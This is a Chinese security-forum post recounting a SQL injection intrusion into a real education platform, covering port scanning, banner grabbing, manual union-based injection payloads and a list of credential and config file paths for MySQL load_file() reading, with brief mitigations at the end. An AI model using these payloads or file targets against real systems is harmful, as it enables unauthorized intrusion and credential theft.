中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
# D0 Y# F: J8 m& ^$ R9 o2 T
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
2 R1 v6 H& Q, i
第一步:获取需要的信息
# v* ^! J6 z5 I5 \3 ]
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
* s9 O( V; t7 s+ b" T( B0 Z( D
注:以下为保护特用XXX代替敏感信息
( N) v" G. S/ ~
顺手先PING了一下他们的域名:
- K3 p- E/ o' C: z
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
( m% f4 W0 Q% ]8 C% E
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
' ~0 N+ e0 T$ w: ?- D) v
顺便了解一下TTL,学好基础知识才能一路顺风:
$ J* c. \# {" J' t, Z, }
TTL:(Time To Live ) 生存时间
8 ~" c! X9 K! e0 F1 m
指定数据包被路由器丢弃之前允许通过的网段数量。
3 J! }0 C ]* R" N; `' ^1 O
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
) a2 J/ n0 ~" v/ M
使用PING时涉及到的 ICMP 报文类型
' q0 E0 G T# |1 l7 c0 R0 U- B
一个为ICMP请求回显(ICMP Echo Request)
3 _% m" r; `, ~4 Q7 V
一个为ICMP回显应答(ICMP Echo Reply)
" g: e) b0 Q- e; Q1 F
TTL 字段值可以帮助我们识别操作系统类型。
% M+ q. v$ h0 k$ s) c u* U$ ]
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
& G, S) l" l# k' G: X
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
2 T* J- h, G. g7 l W
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
g, n- q: s6 J! l$ s* B; f6 w2 J
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) G5 x5 o5 i$ C
当然,返回的TTL值是相同的
C) W. L- B( G. ?$ I9 K
但有些情况下有所特殊
0 ^ }2 V; e% P5 m* j9 J8 D& T U
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
( ^) X. ~3 K J3 T
FreeBSD 4.1, 4.0, 3.4;
; W% Y7 k5 n% T* z' r
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
/ a6 K" A% X$ |6 J+ C- C6 t
OpenBSD 2.6, 2.7,
& N) E) z% U+ V7 K0 _
NetBSD
, A* J& J6 F) w N0 V9 K2 J
HP UX 10.20
0 a) S. A' N, D. \# v' p: [; F/ K5 c
ICMP 回显应答的 TTL 字段值为 255
+ [' S* [/ \" x7 `: g
Windows 95/98/98SE
. M) ]; @; o: [0 C. U7 K Y, U
Windows ME
" ]1 _4 f& v* z
ICMP 回显应答的 TTL 字段值为 32
7 Z* [) O) p- E
Windows NT4 WRKS
0 v: g! F7 D% f$ z5 @3 R
Windows NT4 Server
& X- K7 e* R8 I. `/ H3 [
Windows 2000
' `# t5 m8 O3 ` Z* h; q
Windows XP
. n |% U/ n* A( N
ICMP 回显应答的 TTL 字段值为 128
" h2 o& U0 x' \
这样,我们就可以通过这种方法来辨别操作系统
$ M$ f1 \) |( \6 R2 n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
' U6 {/ |# v# p$ |
用NMAP扫描一下:
# q6 _, @& @! J$ `
nmap -sT -O XXX.XXX.XXX.XXX
2 w6 g. t0 J9 }+ }5 n9 l
如果没有装WinPcap则会弹出提示:
7 g/ U2 i- d" ]8 \- G% I. c4 I0 b
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
Z2 Y$ w8 K! D. ?, D
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
( B% u: f, H7 z8 N) Y& P0 m3 j
) mode — Nmap may not function completely
) c6 Z6 t5 J6 k' ^- u, ]
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
, R' r1 Z6 O8 e. A+ M
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
X" ^7 M. T ^
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
' n* w D# x, T( n% U
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
- u3 W6 W0 j3 }" ^/ w' f
ersions, you may be able to take iphlpapi.dll from another system and place it i
+ V. e$ d' H1 X( x4 M/ d4 |- e
n your system32 dir (e.g. c:\windows\system32).
8 D" l! F) s: S0 v7 v5 G9 [
QUITTING!
6 x% |5 A6 @1 s Q* G* D
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
6 e: |" |: {+ c8 D' P0 M- L
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
: n( V+ v9 a9 R6 ]' g) g
Interesting ports on XXX.XXX.XXX.XXX:
4 n, k3 w) i t6 c
Not shown: 986 closed ports
+ n& \! ~0 u# u8 K+ m. ]& r+ f! R
PORT STATE SERVICE
9 M3 b6 A# j% K1 x6 I
21/tcp open ftp
, K. l `3 [$ g0 X2 j
22/tcp open ssh
7 d+ ?. k& A# K d! a
23/tcp open telnet
( ?! O U$ ]; J F2 T2 z
80/tcp open http
- L4 X' i) G! N) k; C) H
111/tcp open rpcbind
. I/ }; d; _+ Y! a" Z
135/tcp filtered msrpc
' d# V% ?5 S& s5 V
139/tcp filtered netbios-ssn
6 M! g# t2 c1 a4 I) c5 G1 v& u
445/tcp filtered microsoft-ds
: x4 p' Y1 [* f
513/tcp open login
( H- A% d6 O! ?9 O2 ^. B! F
514/tcp open shell
D! x! A# D, @5 w4 H1 U I+ B7 m
593/tcp filtered http-rpc-epmap
% i' d0 z2 w* F7 Z6 X0 m# a
1720/tcp filtered H.323/Q.931
7 B1 T1 B" J8 s# x
3306/tcp open mysql
' m+ q. \8 K/ Z0 q; S3 u
4444/tcp filtered krb524
$ w% Z+ C4 B9 ?! Z" g0 z- I
Device type: WAP
' D& ?, @/ a& ~0 [, O
Running: Linux 2.4.X
- V9 k2 }/ q0 F1 G
OS details: DD-WRT (Linux 2.4.35s)
2 Y) O; ^2 b) f5 v& q2 @1 T
Network Distance: 13 hops
6 E0 S2 ]1 W( {1 V/ e$ u/ t4 C+ t8 Q
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
: _4 P: b, K+ K. P1 O
login as:
4 ?* X5 Q% z5 d' ^- L" ^5 f
Telnet23端口也是开着的,用telnet 命令链接一下:
$ W: c; s% D) a x% V7 O( F0 r; d
telnet XXX.XXX.XXX.XXX
) H. n/ p g. e
提示:
5 l/ L) b: Z m9 O
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
1 r0 X: w1 C0 J O8 Z
Kernel 2.6.18-92.el5PAE on an i686
1 H8 {1 ^- ?5 _4 v
login:
& O& l/ v% K g5 U
获取HTTP头信息:
$ Y- B( P: A1 r1 g2 e; Z0 W
在本地执行如下PHP代码
6 K: F5 t" t; F E- c
<?php
" u$ F0 L$ F2 Z
$url = ‘XXX.XXX.XXX.XXX’;
3 a' `7 M7 ?7 _+ c3 Z" K2 V5 A& E
print_r(get_headers($url));
* u/ _2 @+ N4 d& {: q3 m; @
print_r(get_headers($url, 1));
, l( U3 l. T# a
?>
1 i' q" `6 D1 E
将以上代码保存为PHP文件,执行:
9 S9 I. \6 O) D) R& a3 f' ?
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
2 N4 q- \6 f/ u% g! V8 j5 N# @
现在可以得出结论:
k3 I5 l& g" P( d9 e8 X7 `
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
8 F* F& [5 d n9 a- M, M4 I
内核版本:Kernel 2.6.18-92.el5PAE on an i686
) V; I5 @. Z- f l2 |1 O' m, J! ^3 c
WEB服务器版本:nginx/0.7.61
' V1 \: R6 g8 m4 T: }3 m4 F
第二步,开始测试寻找漏洞
: f" [! K Z0 ~
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
0 `' i6 B0 ? Y/ e
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
. P" b3 u7 J$ |5 \: W2 W" N
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
- K$ Q4 r, u0 \. o& ~7 Z
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
8 c1 R- [, w$ |1 B. T5 { |
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
/ A: a. w/ i$ X" K( o
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
* q ]0 M2 s3 z$ M
3、手工注入:
/ m- l( {4 @$ x' \/ ?4 V8 k- i" R0 J
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
, m$ r& [9 [ M: R& s( m
3.1 猜测当前表字段数
4 _, Q3 L z: N# v
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
! e" H9 M% p2 x& F. F q% G w5 ^
此处猜测有个简单的算法,都是有技巧的吗,呵呵
* S; a6 J' z! {# Y
算法简单如下:
3 M3 Z* p3 V/ Y; g* e
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
?# P$ a: N5 Y2 [2 ^% ~
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
7 t% ~' B) ~' F
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
$ {" j3 f0 @& s- L$ Q* T" h
以此来判断,是否过界,配合取中算法猜出字段数。
1 I( i) R6 I1 r# A3 W0 X
举例:
7 D) C3 F( t* E1 p+ K0 W
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
$ ~8 |% r7 Q# a2 D) b# f
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
, N& K. r" |0 ^. z
此时3则为我们要找的字段数。
2 J8 U. l3 Z3 K+ t, U
3.2 配合union联合查询字段在页面所位置
D1 m: _% j6 V2 K" ?
我们已经知道了字段数为3,此时则可以做如下操作:
6 R3 R. m" N6 d# B& S$ Z! W6 r
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
5 Q# V& m3 T/ a$ x
6 j$ h& a$ o& f; t
这样就可以测试到哪些字段在页面上有所显示了,如图:
1 C t% n7 E m; ]
: b" a" f7 l* b* e0 L( x" N! C
3.3 查敏感信息
- E9 K1 M5 z" v2 u1 K7 @
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
K& S) D9 B% I% D$ a& B
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
. E/ s3 X5 R: b$ M: p7 R3 f
3.3.1 先查数据库用户、数据库名,以备后用,如图:
- R. H: b+ _& ]7 d0 Y& _1 ]
' j; e, n3 |2 V1 i7 N. |
得到数据库用户为root、数据库名为DBxx;
+ d6 m5 `$ ] f# a- b
3.3.2 查配置文件
' a0 Q# t4 a* l# ~' T1 {2 c: p
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
% w' U- H* N" I; n: y! {
查看文件有一定的条件限制:
5 C, {4 C' ^( ?% n
欲读取文件必须在服务器上
& Q; d8 d7 {" P% w
必须指定文件完整的路径
' \6 s% j# \/ M2 C% y0 o) O
必须有权限读取并且文件必须完全可读
2 I* \ w1 s& d( k# s+ w
欲读取文件必须小于 max_allowed_packet
; ~' k! Q/ k1 n1 [
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
+ {4 P& n# x5 X! ?8 y: v
常用的一些:
- c! T3 Z1 W0 t& f S' ]. V
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
' {$ H+ e* L" S" a2 e
/usr/local/apache2/conf/httpd.conf
6 x b s% C5 D0 ^- t
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4 |& z0 F1 |& e+ p" ]( c
/usr/local/app/php5/lib/php.ini //PHP相关设置
7 R6 B6 L* a" p4 H! S# P
/etc/sysconfig/iptables //从中得到防火墙规则策略
1 ~1 A! I% T4 G# P0 X
/etc/httpd/conf/httpd.conf // apache配置文件
/ Y( X* a. k1 J- b3 s/ C
/etc/rsyncd.conf //同步程序配置文件
: k! t3 p/ {0 I! j
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
* X$ _2 N0 N) z: I
/etc/my.cnf //mysql的配置文件
$ S4 ~+ q& o! e. F1 h+ m% ~
/etc/redhat-release //系统版本
/ P6 j# R: r7 E
/etc/issue
8 F3 F. L1 ^; F) ]7 c) J7 I
/etc/issue.net
' w( n* M# Q8 |& v0 q
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
2 ?7 n" g% R! Y! q2 X) Q
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
. [2 O: o8 ~9 }$ J5 X
c:\Program Files\Serv-U\ServUDaemon.ini
; x; L1 I% u" J+ t$ S
c:\windows\my.ini //MYSQL配置文件
! P5 m0 D: k; `0 E! B) s3 t
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
* R5 b( f, T4 y/ H T
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
/ ]0 H( i" D E$ w, J+ s6 D
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
8 Y$ T% A2 m c& t6 E6 \5 m6 E8 F
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
$ u: M1 V& P7 E" @, x) @! @/ b
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
$ ]3 C/ n. {3 q5 X: b3 y3 p
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
- ]! h; e6 g# l9 M Z1 g
//存储了pcAnywhere的登陆密码
6 X3 X: d/ E3 t
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
, L& X n' Z) S6 G3 S
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
, o' z* n: x9 k) T) p
最后:防范措施
3 G+ m- D7 J4 J A7 i% D+ _
1、修复PHP注入漏洞;
3 w2 q" x' Y/ J3 F% A* P' N+ {4 Z
2、Mysql使用普通权限的用户;
' M T) b( D* [- n" C
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2